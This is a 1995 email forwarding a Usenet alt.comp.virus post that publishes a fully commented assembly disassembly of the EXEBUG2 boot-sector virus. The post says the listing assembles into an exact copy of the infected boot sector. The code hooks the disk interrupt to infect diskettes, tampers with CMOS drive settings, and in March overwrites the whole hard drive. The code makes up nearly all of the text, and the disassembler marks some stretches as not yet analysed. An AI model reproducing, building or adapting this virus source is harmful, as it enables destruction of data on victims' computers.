From smtp Tue Feb  7 13:18 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue,  7 Feb 95 13:18 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9) 
     id NAA25457 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:20:39 -0500
Date: Tue, 7 Feb 1995 13:20:39 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-Length: 44201
Content-Type: binary
Message-Id: <199502071820.NAA25457@lynx.dac.neu.edu>
To: pobox.jwu.edu!joshuaw 
Subject: (fwd) EXEBug
Newsgroups: alt.comp.virus
Status: O

Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
From: danishm@iia.org ()
Newsgroups: alt.comp.virus
Subject: EXEBug
Date: 5 Feb 1995 22:08:52 GMT
Organization: International Internet Association.
Lines: 641
Message-ID: <3h3i9k$v4@ankh.iia.org>
NNTP-Posting-Host: iia.org
X-Newsreader: TIN [version 1.2 PL2]

Here is the EXEBug virus:

;-------------------------------------------------------------------------
.286p                                   ; The EXEBUG2 Virus.  This virus
.model tiny                             ; infects diskette boot sectors and
.code                                   ; activates in March of any year,
                                        ; destroying the hard drive.  It
        ORG     0100h                   ; contains instructions for 80286+
                                        ; processors.
;---------------------------------------;---------------------------------
; As of Apr 21st, this disassembly is   ; Disassembled with Master Core
; incomplete, as the test computer uses ;  Disassembler: IQ Software
; Disk Manager and can not be infected. ; Analyzed with Quaid Analyzer:
;                                       ;  Quaid Software Ltd.
;-------------------------------------------------------------------------
; We are using an origin of 100h, so that this can be assembled with TASM
; and linked with tlink /t.  You will have a 512 byte .COM file which is
; a byte-for-byte duplicate of the original boot sector. Note that 100h
; must be subtracted from many of the offsets.
;-------------------------------------------------------------------------
                                        ;Offset Opcode  |Comment
                                        ;---------------------------------
Boot_Start:                             ;00100  EB1C
                                        ;---------------------------------
        JMP     Short Change_RAM        ; Boot sectors always begin with
                                        ; a long jump (E9 XX XX) or a short
                                        ; jump (EB XX 90)
                                        ;---------------------------------
        NOP                             ;00102  90      |NOP for short jump
;---------------------------------------;               |
; Data in Code Area                     ;               |
;---------------------------------------;               |
OEM     DB      "MSDOS5.0"              ;00103  4D53444F|OEM name
Byt_Sec DW      0200h                   ;0010B  0002    |Bytes per sector
Sct_AlU DB      02h                     ;0010D  02      |Sectors per
                                        ;               | allocation unit
RsvdSct DW      0001h                   ;0010E  0100    |Reserved sectors
NumFATs DB      02h                     ;00110  02      |Number of FATs
RootSiz DW      0070h                   ;00111  7000    |Number of root dir
                                        ;               | entries (112)
TotSect DW      02D0h                   ;00113  D002    |Total sectors in
                                        ;               | volume (1440)
MedDesc DB      0FDh                    ;00115  FD      |Media descriptor
                                        ;               | byte:
                                        ;---------------------------------
                                        ;  F8 = hard disk
                                        ;  F0 = 3�" 18 sector
                                        ;  F9 = 3�"  9 sector
                                        ;  F9 = 5�" 15 sector
                                        ;  FC = 5�" SS 9 sector
                                        ;  FD = 5�" DS 9 sector
                                        ;  FE = 5�" SS 8 sector
                                        ;  FF = 5�: DS 8 sector
                                        ;---------------------------------
FATSect DW      0002h                   ;00116  0200    |Sectors per FAT
Sct_Trk DW      0009h                   ;00118  0900    |Sectors per track
NumHead DW      0002h                   ;0011A  0200    |Number of heads
aDrvNum DW      0000h                   ;0011C  0000    |Drive number (0=A:)
;---------------------------------------;---------------------------------
                                        ;               |
Change_RAM:                             ;               |
                                        ;               |
        XOR     AX,AX                   ;0011E  33C0    |Zero register
        MOV     DS,AX                   ;00120  8ED8    |DS = 0000
        MOV     DI,AX                   ;00122  8BF8    |DI = 0000
        MOV     SS,AX                   ;00124  8ED0    |SS = 0000
        MOV     SP,7C00h                ;00126  BC007C  |SP = 7C00
                                        ;---------------------------------
                                        ; Get RAM size (usually 64*10 K)
                                        ; and put it in register AX.
Get_RAM_Size:                           ;---------------------------------
                                        ;               |
        MOV     AX,Word Ptr DS:[0413h]  ;00129  A11304  |0000:0413 holds
                                        ;               | RAM size
        MOV     CX,0106h                ;0012C  B90601  |This does two things:
                                        ;               |it sets up a MOVSW,
                                        ;               |and it puts a 6 in
                                        ;               |CL for the SAL,CL
        DEC     AX                      ;0012F  48      |Steal 1K of RAM
                                        ;               | (decrease RAM size)
        MOV     SI,SP                   ;00130  8BF4    |SI is 7C00. Use to
                                        ;               | move boot sector
                                        ;               | in Copy_Boot routine.
                                        ;---------------------------------
                                        ; RAM size is now 1K less; put it
                                        ; in DS:0413h (RAMsize)
Put_RAM_Size:                           ;---------------------------------
                                        ;               |
        MOV     Word Ptr DS:[0413h],AX  ;00132  A31304  |Put the new RAM
                                        ;               | size back in [0413]
        SAL     AX,CL                   ;00135  D3E0    |Convert to paragraphs
;-------------------------------------------------------------------------
; AX now holds the SEGMENT of the new Int 13 service routine at TOM - 1K.
; Next operation exchanges this with the old Int 13 segment stored at 0000:004E.
;-------------------------------------------------------------------------
                                        ;               |
        MOV     ES,AX                   ;00137  8EC0    |ES = new area SEGMENT
        PUSH    AX                      ;00139  50      |Save SEGMENT address
                                        ;               | on stack. Jump here
                                        ;               | at offset 0152.
        XCHG    AX,DS:[004Eh]           ;0013A  87064E00|Exchange new and old
                                        ;               | SEGMENTS
                                        ;---------------------------------

        MOV     Word Ptr DS:[7C00h+offset I13_Seg - 100h],AX

                                        ;---------------------------------
                                        ;0013E  A3B87C  |This really should be:
                                        ;               |[7C00h+offset I13_Seg],
                                        ;               |but we use an ORG of
                                        ;               |100h here.
                                        ;      <Store old SEGMENT at 7CB8>
                                        ;---------------------------------

        MOV     AX,offset New_Int13_ISR - 100h

                                        ;---------------------------------
                                        ;00141  B83201  |Likewise the offset
                                        ;               |of the new Int 13
                                        ;               |service routine is
                                        ;               |decremented by 100h
;------------------------------------------------------------------------
; AX now holds the OFFSET of the new Int 13 service routine, which is
; in our code at offset 232h.  Next operation exchanges this with the
; the offset stored at 0000:004C.
;------------------------------------------------------------------------
                                        ;               |
        XCHG    AX,DS:[004Ch]           ;00144  87064C00|Exchange new and old
                                        ;               | OFFSETS
                                        ;---------------------------------

        MOV     Word Ptr DS:[7C00h+offset I13_Off - 100h],AX

                                        ;---------------------------------
                                        ;00148  A3B67C  |Again, decrement by
                                        ;               | 100h to compensate
                                        ;               | for ORG 100h
                                        ;      <Store old OFFSET at 7CB6>
                                        ;---------------------------------

        MOV     AX,[offset Activation - 100h]

                                        ;---------------------------------
                                        ;0014B  B89900  |Move offset of
                                        ;               |Activation routine
                                        ;               |to AX.
        PUSH    AX                      ;0014E  50      |Push the Activation
                                        ;               |address, and then
                                        ;               |use that as the
                                        ;               |OFFSET when we RETF
                                        ;               |at offset 0152.
Copy_Boot:                              ;---------------------------------
                                        ;               |
        CLD                             ;0014F  FC      |movsb will increment
                                        ;               |pointers cx=0106h
                                        ;               |ds=0000h sp=7C00h
                                        ;               |si=7C00h di=0000h
                                        ;               |Repeat until Zero
                                        ;               |Flag=0 or CX Times
                                        ;               |
        REP     MOVSW                   ;00150  F3A5    |MOVE DS:SI TO ES:DI
                                        ;---------------------------------
                                        ; Move virus up to the memory we have
                                        ; allocated, and set the INT handler.
                                        ;---------------------------------
                                        ;               |
        RETF                            ;00152  CB      |The segment and
                                        ;               |offset of the
                                        ;               |Activation routine
                                        ;               |were pushed on the
                                        ;               |stack previously, so
                                        ;               |a RETF jumps there
                                        ;               |(at top of memory)
                                        ;>>>>>>>>>>>>>>>|JUMP TO ACTIVATION
;---------------------------------------;---------------------------------
                                        ;               |
        DB      04h                     ;00153  04      |
Drive   DB      20h                     ;00154  20      |CMOS drive type (AH),
                                        ;               | is stored here.
ChkSum  DW      046Ch                   ;00155  6C04    |CMOS checksum (DX),
                                        ;               | is stored here.
Install DB      01h                     ;00157  01      |This byte is checked
                                        ;               | at offset 294. It is
                                        ;               | used for the value
                                        ;               | of CX when the boot
                                        ;               | record is written
                                        ;               | (starting sector)
                                        ;               | Values are 1 or 11h.
;-------------------------------------------------------------------------
; The code (or is it data?) below from offsets 0158 to 0198 is not analyzed,
; as I could not get an infection on the test computer.
;-------------------------------------------------------------------------
        SUB     [BX+SI],CH              ;00158  2828    |
        ADD     [BX+DI],AL              ;0015A  0001    |
        ADD     AL,[BP+1Eh]             ;0015C  02461E
                                        ;  ADD AL,[BP+offset Change_RAM-100h]
        PUSH    CX                      ;0015F  51      |
        MOV     DL,65h                  ;00160  B265    |
        MOV     DI,DX                   ;00162  8BFA    |
        DEC     AL                      ;00164  FEC8    |
        STOSW                           ;00166  AB      |STORE Word STRING
                                        ;               | FROM AX
        ADD     DI,+04h                 ;00167  83C704  |
        XOR     AL,0C0h                 ;0016A  34C0    |
        STOSW                           ;0016C  AB      |
        MOV     CL,0Bh                  ;0016D  B10B    |cl=0Bh dl=65h
        REP     STOSB                   ;0016F  F3AA    |STORE 0Bh Bytes
                                        ;               | STRING FROM AL
        MOV     CL,13h                  ;00171  B113    |
        MOV     BH,03h                  ;00173  B703    |
        CALL    $-170h                  ;00175  E88DFE  |This calls offset
                                        ;               |7B05 in this segment.
        MOV     AH,13h                  ;00178  B413    |
        INT     2Fh                     ;0017A  CD2F    |Get & set DOS disk
                                        ;               |int handler
                                        ;               |ds:dx=new handler,
                                        ;               |es:bx=old
        MOV     CS:[01B8h],DS           ;0017C  2E8C1E  |
                                        ;       B801    |
                                        ;               |
        MOV     CX,DX                   ;00181  8BCA    |
        INT     2Fh                     ;00183  CD2F    |Set it again
        MOV     DS:[01B6h],CX           ;00185  890EB601|
        CMP     CL,32h                  ;00189  80F932  |
        JZ      H0000_0198              ;0018C  740A    |Return if CL=32h
        MOV     CX,CS                   ;0018E  8CC9    |
        ADD     CX,+10h                 ;00190  83C110  |
        PUSH    CX                      ;00193  51      |
        MOV     AX,00FDh                ;00194  B8FD00  |
        PUSH    AX                      ;00197  50      |
                                        ;               |
H0000_0198:                             ;---------------------------------
                                        ;               |
        RETF                            ;00198  CB      |
;---------------------------------------;---------------------------------
                                        ;               |
Activation:                             ;               |
                                        ;               |
        CALL    Main_Routine            ;00199  E86800  |
        MOV     AH,04h                  ;0019C  B404    |AH=4 (get date)
        INT     1Ah                     ;0019E  CD1A    |Get date
                                        ;               |CX=year, DX=mon/day
        CMP     DH,03h                  ;001A0  80FE03  |Is it month #3
        JZ      Damage                  ;001A3  7402    |If it is March,
                                        ;               | do damage
        INT     19h                     ;001A5  CD19    |Otherwise reboot
                                        ;               | with virus resident
                                        ;               | and Int 13 hooked
;---------------------------------------;---------------------------------
                                        ; Set up Int 13 call from the new
Damage:                                 ;  ISR at I13_Seg:I13_Off.
                                        ;---------------------------------
        MOV     AL,0FFh                 ;001A7  B0FF    |
        OUT     21h,AL                  ;001A9  E621    |Turn off IRQs
        MOV     DX,0080h                ;001AB  BA8000  |DH = head # (0),
                                        ;               |DL = drive #
                                        ;               |  (+80 for hd)
        MOV     CX,0101h                ;001AE  B90101  |CH = cylinder #,
                                        ;               |CL = sector #
Trash_HardDrive:                        ;---------------------------------
                                        ;               |
        MOV     AX,0311h                ;001B1  B81103  |AH = function 03
                                        ;               | (write sectors)
                                        ;               |AL = # of sectors
        PUSHF                           ;001B4  9C      |Push flags: normally
                                        ;               | done prior to
                                        ;               | interrupt.
FarCall DB      9Ah                     ;001B5  9A      |Call the Int 13
                                        ;               | service routine
I13_Off DW      0AB1Bh                  ;001B6  1BAB    |(real) Int 13 offset
I13_Seg DW      0F000h                  ;001B8  00F0    |(real) Int 13 segment
        INC     DH                      ;001BA  FEC6    |Next head
        AND     DH,07h                  ;001BC  80E607  |Test bits 0-3 of DH,
                                        ;               | clear 4-7
        JNZ     Trash_HardDrive         ;001BF  75F0    |If #head > 7
                                        ;               |continue, else trash
        INC     CH                      ;001C1  FEC5    |Next cylinder
        JNZ     Trash_HardDrive         ;001C3  75EC    |If #cylinder > 255
                                        ;               | continue, else keep
                                        ;               | on trashing.
        ADD     CL,40h                  ;001C5  80C140  |Set bits 6 and 7 of
                                        ;               | CL, enabling the
                                        ;               | entire drive to be
                                        ;               | overwritten (or at
                                        ;               |least 1024 cylinders)
        JMP     Short Trash_HardDrive   ;001C8  EBE7    |Only way out of this
                                        ;               | is a disk error, or
                                        ;               | power off.
;--------------------------------------------------------------------------
                                        ;At this point, it is important to
Change_CMOS:                            ;know what the contents of DX is.
                                        ; CMOS checksums are stored at
                                        ; DS:0053 and DS:0055
;--------------------------------------------------------------------------
        MOV     AL,10h                  ;001CA  B010    |Diskette type
        CALL    CMOS_Read_Write         ;001CC  E80700  | SET DISKETTE TYPE
        MOV     AL,2Fh                  ;001CF  B02F    |Hi checksum byte
        CALL    CMOS_Read_Write         ;001D1  E80200  | SET CHECKSUM: set
                                        ;               | to zero or restore
        MOV     AL,2Eh                  ;001D4  B02E    |Low checksum byte
                                        ;               | SET CHECKSUM: set
                                        ;               | to zero or restore
CMOS_Read_Write:                        ;---------------------------------
                                        ;               |
        OUT     70h,AL                  ;001D6  E670    |Tell CMOS address
                                        ;               |  to read (in AL)
        XCHG    AH,DL                   ;001D8  86E2    |1st call: AH=DL=00
                                        ;               |2nd call: AH=DL=00
                                        ;               |3rd call: AH=20,DL=00
                                        ;               |4th call: AH=5F,DL=00
                                        ;               |5th call: AH=02,DL=5F
                                        ;               |6th call: AH=00,DL=02
                                        ;               |
        XCHG    DL,DH                   ;001DA  86D6    |1st call: DH=DL=00
                                        ;               |2nd call: DH=00,DL=20
                                        ;               |3rd call: DH=00,DL=7F
                                        ;               |4th call: DH=00,DL=02
                                        ;               |5th call: DH=5F,DL=00
                                        ;               |6th call: DH=02,DL=00
                                        ;               |
        IN      AL,71h                  ;001DC  E471    |Read CMOS to AL
                                        ;               |1st call: AL=20
                                        ;               |2nd call: AL=7F
                                        ;               |3rd call: AL=02
                                        ;               |4th call: AL=00
                                        ;               |5th call: AL=00
                                        ;               |6th call: AL=00
                                        ;               |
        XCHG    DH,AL                   ;001DE  86F0    |Trade AL <-> DH
                                        ;               |1st call: DH=20,AL=00
                                        ;               |2nd call: DH=7F,AL=00
                                        ;               |3rd call: DH=02,AL=00
                                        ;               |4th call: DH=00,AL=00
                                        ;               |5th call: DH=00,AL=5F
                                        ;               |6th call: DH=00,AL=02
                                        ;               |
        OUT     71h,AL                  ;001E0  E671    |Write contents of
                                        ;               |  AL to CMOS
                                        ;               |1st call: AL=00
                                        ;               |2nd call: AL=00
                                        ;               |3rd call: AL=00
                                        ;               |4th call: AL=00
                                        ;               |5th call: AL=5F
                                        ;               |6th call: AL=02
                                        ;               |
        RET                             ;001E2  C3      |Return to Call_CMOS
;---------------------------------------;---------------------------------
                                        ;               |
Setup_Int13:                            ;               |
                                        ;               |
        MOV     AX,0301h                ;001E3  B80103  |Function #3: write
                                        ;               |  (1) sector
Real_Int13_2:                           ;---------------------------------
                                        ;               |
        CALL    Restore_CMOS            ;001E6  E80500  |Restore original CMOS
        PUSHF                           ;001E9  9C      |Prepare for interrupt
                                        ;---------------------------------
                                                        ;DO THE INTERRUPT 13
        CALL    DWord Ptr DS:[I13_Off-100h]             ;Subtract 100h from
                                                        ; offset of old Int 13
                                        ;001EA  FF1EB600| vector and then call
                                        ;               | it as a DWord (i.e.
                                        ;               | as Segment:Offset)
                                        ;               | Standard Int 13
                                        ;               | resets and repeats
                                        ;               | 3 times if carry
                                        ;               | flag not clear.
Restore_CMOS:                           ;---------------------------------
                                        ;               |
        CALL    Xchg_Old_New            ;001EE  E80300  |
        CALL    Change_CMOS             ;001F1  E8D6FF  |
                                        ;               |
Xchg_Old_New:                           ;---------------------------------
                                        ;               |
        XCHG    AX,DS:[0053h]           ;001F4  87065300|
        XCHG    DX,DS:[0055h]           ;001F8  87165500|
        RET                             ;001FC  C3      |
;---------------------------------------;---------------------------------
                                        ;               |
Jump_From_Boot:                         ;               |
                                        ;               |
        CALL    Main_Routine            ;001FD  E80400  |
                                        ; CALL 0204h    |
                                        ;               |
        CALL    Restore_CMOS            ;00200  E8EBFF  |Call 01EEh
        ;-------------------------------;---------------------------------
        ;RETF                           ;               |This must be assembled
                                        ;               |as DB 0CBh, otherwise
        DB      0CBh                    ;00203  CB      |the assembler emits
                                        ;               |CA CB 00.
;---------------------------------------;---------------------------------
                                        ;               |Diddle CMOS. Read
Main_Routine:                           ;00204          |boot with new Int13.
                                        ;               |
;-------------------------------------------------------------------------
;                                                       |
; (64 Bytes)    FFEEDDCC BBAA9988 77665544 33221100     |This is the original
;               -------- -------- -------- --------     |CMOS setting.
; CMOS IS NOW:  00008050 02269303 28000016 00200027     |
;               00000000 0000310D 80028003 00F00020  <--|diskette drive(s) type
; Checksum -->  7F021A04 01000009 04000000 00000000     |Bits 7-4: drive 0
;  is 7F02      00000001 01000000 00000000 80190D80     |Bits 3-0: drive 1
;                                                       |  0000b = no drive
;                                                       |  0001b = 360K
;                                                       |  0010b = 1.2 MB
;                                                       |  0011b = 720K
;                                                       |  0100b = 1.44 MB
;                                                       |so in this case there
;                                                       |is one 1.2 meg drive
;                                                       |and no 'B' drive
;-------------------------------------------------------------------------
                                        ;               |Put address of
CMOS_0:                                 ;               | hidden memory on
        PUSH    CS                      ;00204  0E      | stack and then pop
        POP     DS                      ;00205  1F      | it into DS.
        MOV     ES,CX                   ;00206  8EC1    |Zero ES
        CALL    Change_CMOS             ;00208  E8BFFF  |AX=0099,DX=0000
;-------------------------------------------------------------------------
;
; CMOS CHANGED: 00008050 02269303 28000017 00420002
;               00000000 0000310D 80028003 00F00000 <-NOTE CHANGE
; NOTE CHANGE-> 00001A04 01000009 04000000 00000000    No drive
;  No checksum  00000001 01000000 00000000 80190D80
;
;-------------------------------------------------------------------------
                                        ;               |Now the drive type
CMOS_1:                                 ;               | and checksum are 00
        MOV     AL,AH                   ;0020B  8AC4    |AX=2020
        AND     AL,0F0h                 ;0020D  24F0    |AX=2020
        JZ      Calc_ChkSum             ;0020F  7408    |Is zero flag set?
        MOV     DS:[0055h],DX           ;00211  89165500|Store checksum in
                                        ;               | DS:[0055]
        MOV     DS:[0054h],AH           ;00215  88265400|Store drive type
                                        ;               | in DS:[0054]
Calc_ChkSum:                            ;---------------------------------
                                        ;               |
        AND     AH,0Fh                  ;00219  80E40F  |Clears high bits
                                        ;               | AX=0020
        SUB     DL,AL                   ;0021C  2AD0    |DX=025F
        SBB     DH,00h                  ;0021E  80DE00  |DX=025F
        CALL    Change_CMOS             ;00221  E8A6FF  |AX=0020, DX=025F
;-------------------------------------------------------------------------
;
; CMOS CHANGED: 00008050 02269303 28000018 00030041
;               00000000 0000310D 80028003 00F00000
; NOTE CHANGE-> 5F021A04 01000009 04000000 00000000
;               00000001 01000000 00000000 80190D80
;
;-------------------------------------------------------------------------
                                        ;               |
CMOS_2:                                 ;               |
        MOV     DL,80h                  ;00224  B280    | DL = 80
                                        ;               |
Read_Boot:                              ;---------------------------------
                                        ;               |
        MOV     CX,0001h                ;00226  B90100  | CX = 0001
        MOV     DH,CH                   ;00229  8AF5    | DH = 00
        POP     AX                      ;0022B  58      | Pop return offset
        PUSHF                           ;0022C  9C      | Push flags
        PUSH    CS                      ;0022D  0E      | Save segment
        PUSH    AX                      ;0022E  50      | Save offset
        MOV     AX,0201h                ;0022F  B80102  | AX = 0201 (read
                                        ;               |      one sector)
                                        ;
New_Int13_ISR:                          ;___ New Int 13 Service Routine ___
                                        ;
        CLD                             ;00232  FC      |Clear direction flag
        PUSH    DS                      ;00233  1E      |
        PUSH    SI                      ;00234  56      |
        PUSH    DI                      ;00235  57      |Save some registers
        PUSH    CX                      ;00236  51      |
        PUSH    AX                      ;00237  50      |
        PUSH    CS                      ;00238  0E      |
        POP     DS                      ;00239  1F      |DS = CS
        CMP     AH,03h                  ;0023A  80FC03  |Is it a function 3
                                        ;               | (write disk) call?
        JNZ     Real_Int13_1            ;0023D  7521    |No, so do real Int 13
        CMP     Byte Ptr ES:[BX],4Dh    ;0023F  26803F4D|Yes, but is ES:[BX]=4D?
        JNZ     Real_Int13_1            ;00243  751B    |No, so do real Int13
        OR      AH,DL                   ;00245  0AE2    |Yes, but which drive?
        CMP     CL,AH                   ;00247  3ACC    |Is drive OK??
        JNZ     Real_Int13_1            ;00249  7515    |No, so do real Int13
        MOV     DI,BX                   ;0024B  8BFB    |Yes, buffer is [4D]
        MOV     SI,00A7h                ;0024D  BEA700  |
        MOV     CX,01FEh                ;00250  B9FE01  |Going to move 1FE words
        AND     DL,DL                   ;00253  22D2    |Is it drive #0 (A:)?
        JNZ     H0000_025E              ;00255  7507    |No, so move 'em
        MOV     SI,0002h                ;00257  BE0200  |Yes, SI = 0002
        MOV     AX,5CEBh                ;0025A  B8EB5C  |Move value in AX
        STOSW                           ;0025D  AB      | to ES:[4D]
                                        ;               |
H0000_025E:                             ;---------------------------------
                                        ;               |cx=01FEh,ds=0000h
                                        ;               |si=0002h Move 1FE
        REP     MOVSB                   ;               | words from DS:SI
                                        ;0025E  F3A4    | to ES:DI
Real_Int13_1:                           ;---------------------------------
                                        ;               |
        POP     AX                      ;00260  58      |Restore registers
        POP     CX                      ;00261  59      |
        POP     DI                      ;00262  5F      |
        MOV     SI,AX                   ;00263  8BF0    |SI=function,subfn
        CALL    Real_Int13_2            ;00265  E87EFF  |When done go to
                                        ;               | Return_here.
Return_Here:                            ;---------------------------------
                                        ;               |
        JB      Int13_Error             ;00268  721D    |If Int 13 returned
                                        ;               | error go to err rtn
        PUSH    DI                      ;0026A  57      |Save registers
        PUSH    AX                      ;0026B  50      |
        OR      DH,DH                   ;0026C  0AF6    |Was drive A: target?
        JNZ     Exit_Virus              ;0026E  7514    |Yes, Exit_Virus
        CMP     CX,+01h                 ;00270  83F901  |Was it a 1 sector
                                        ;               | operation?
        JNZ     Exit_Virus              ;00273  750F    |No, Exit_Virus
        MOV     AX,SI                   ;00275  8BC6    |Restore Int 13
                                        ;               | function, sub fn
        CMP     AH,02h                  ;00277  80FC02  |Was it a read fn?
        JZ      Int13_Read              ;0027A  7410    |
        CMP     AH,03h                  ;0027C  80FC03  |
        JNZ     Exit_Virus              ;0027F  7503    |
                                        ;               |
Read_New_Boot:                          ;---------------------------------
                                        ;               |This pushes the
        CALL    Read_Boot               ;00281  E8A2FF  | address of
                                        ;               | Read_Boot on stack
Exit_Virus:                             ;---------------------------------
                                        ;               |
        CLC                             ;00284  F8      |
        POP     AX                      ;00285  58      |Restore registers
        POP     DI                      ;00286  5F      |
                                        ;               |
Int13_Error:                            ;---------------------------------
                                        ;               |
        POP     SI                      ;00287  5E      |
        POP     DS                      ;00288  1F      |
        RETF    0002h                   ;00289  CA0200  |Return to address
                                        ;               | on stack. Discard
                                        ;               | next two bytes on
                                        ;               | stack. This
                                        ;               | eventually gets us
                                        ;               | to offset 19C (check
                                        ;               | activation & reboot)
;---------------------------------------;---------------------------------
Int13_Read:                             ;               |
                                        ;               |
        PUSH    CX                      ;0028C  51      |Push # sectors
        CMP     Byte Ptr ES:[BX+28h],7Ch;0028D  26807F  |Compare [0000:7C28]
                                        ;       287C    | with 7C. (Boot
                                        ;               | record offset 28).
        JNZ     Boot_Changed            ;00292  750D    |If no, then the
                                        ;               | boot record changed.
                                        ;00294  268B8F  |MOV CX,ES:[BX+0057h]
                                        ;       5700    |
                                                        ;
        MOV     CX,ES:[BX + word ptr Install - 100h]    ;Move starting sector
                                                        ; to CX
        MOV     AL,01h                  ;00299  B001    |
        CALL    Real_Int13_2            ;0029B  E848FF  |
                                        ;               |
HD_Exit:                                ;---------------------------------
                                        ;               |
        POP     CX                      ;0029E  59      |
        JMP     Short Exit_Virus        ;0029F  EBE3    |
;---------------------------------------;---------------------------------
Boot_Changed:                           ;               |
                                        ;               |
        PUSH    DX                      ;002A1  52      |Save drive info
        MOV     CL,11h                  ;002A2  B111    |CX=0011 (Changed)
        TEST    DL,80h                  ;002A4  F6C280  |Is it a hard drive?
        JNZ     Hard_Drive              ;002A7  7534    |Yes, goto Hard_Drive
        MOV     CH,28h                  ;002A9  B528    |
        CMP    Byte Ptr ES:[BX+15h],0FCh;002AB  26807F  |
                                        ;       15FC    |
        JNB     H0000_02B4              ;002B0  7302    |
        SAL     CH,1                    ;002B2  D0E5    |
                                        ;               |
H0000_02B4:                             ;---------------------------------
                                        ;               | This code not
        PUSH    ES                      ;002B4  06      | analyzed as of
        PUSH    BX                      ;002B5  53      | April 21st.
        XOR     AX,AX                   ;002B6  33C0    |
        MOV     ES,AX                   ;002B8  8EC0    |
        LES     BX,DWord Ptr ES:[0078h] ;002BA  26C41E  |
                                        ;       7800    |
                                        ;               |Load ES & operand
                                        ;               | from memory
        PUSH    ES                      ;002BF  06      |
        PUSH    BX                      ;002C0  53      |
        INC     AL                      ;002C1  FEC0    |
        MOV     CL,AL                   ;002C3  8AC8    |
        XCHG    CL,ES:[BX+04h]          ;002C5  26864F04|
        MOV     AH,05h                  ;002C9  B405    |
        MOV     BX,0059h                ;002CB  BB5900  |
        MOV     [BX],CH                 ;002CE  882F    |
        PUSH    CS                      ;002D0  0E      |
        POP     ES                      ;002D1  07      |
        CALL    Real_Int13_2            ;002D2  E811FF  |
        POP     BX                      ;002D5  5B      |
        POP     ES                      ;002D6  07      |
        XCHG    CL,ES:[BX+04h]          ;002D7  26864F04|
        POP     BX                      ;002DB  5B      |
        POP     ES                      ;002DC  07      |
                                        ;               |
Hard_Drive:                             ;---------------------------------
                                        ;               |
        CALL    Setup_Int13             ;002DD  E803FF  |Prepare for Write
        POP     DX                      ;002E0  5A      |Get drive info
        JB      HD_Exit                 ;002E1  72BB    |On error exit
        MOV     DS:[0057h],CX           ;002E3  890E5700|DS:[57]=11 (Changed)
        MOV     Word Ptr ES:[BX],1CEBh  ;002E7  26C707  |[0000:7C00] now holds
                                        ;       EB1C    | EB 1C.
        MOV     SI,001Eh                ;002EC  BE1E00  |SI=001E
        ;-------------------------------;---------------------------------
        ;LEA     DI,[BX+001Eh]          ;               |TASM will emit 8D7F1E
                                        ;               |for this instruction,
        DB      8Dh,0BFh,1Eh,00h        ;002EF  8DBF1E00|so assemble as DB's
                                        ;               |BX=7C00 SI=001E
                                        ;               |ES=0000 DI=7C1E
        ;-------------------------------;---------------------------------
        MOV     CX,01E0h                ;002F3  B9E001  |cx=01E0h si=001Eh
        REP     MOVSB                   ;002F6  F3A4    |Move DS:SI to ES:DI
                                        ;               |Restore boot record
                                        ;               | from ofs 7C00:001E
                                        ;               | Note initial jump
                                        ;               | restored to EB 1C.
        POP     CX                      ;002F8  59      |CX=number of sectors
        CALL    Setup_Int13             ;002F9  E8E7FE  |Write the new boot
                                        ;               | record.
        JMP     Short Read_New_Boot     ;002FC  EB83    |Read it and process.
;---------------------------------------;---------------------------------
Boot_ID DW      0AA55h                  ;002FE  55AA    |All valid boot
                                        ;               | sectors end with
                                        ;               | 55AA
        ENDS                            ;---------------------------------
                                        ; Disassembly by Arthur Ellis and ??
        END     Boot_Start              ; [Suggestions by Lucifer Messiah]
                                        ; April, 1993
;-------------------------------------------------------------------------



--
Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
The Great Sporkeus Maximus			     ekilby@lynx.dac.neu.edu
Student at the Northeatstern University College of Computer Science 
"I Can't Believe It's Not Butter"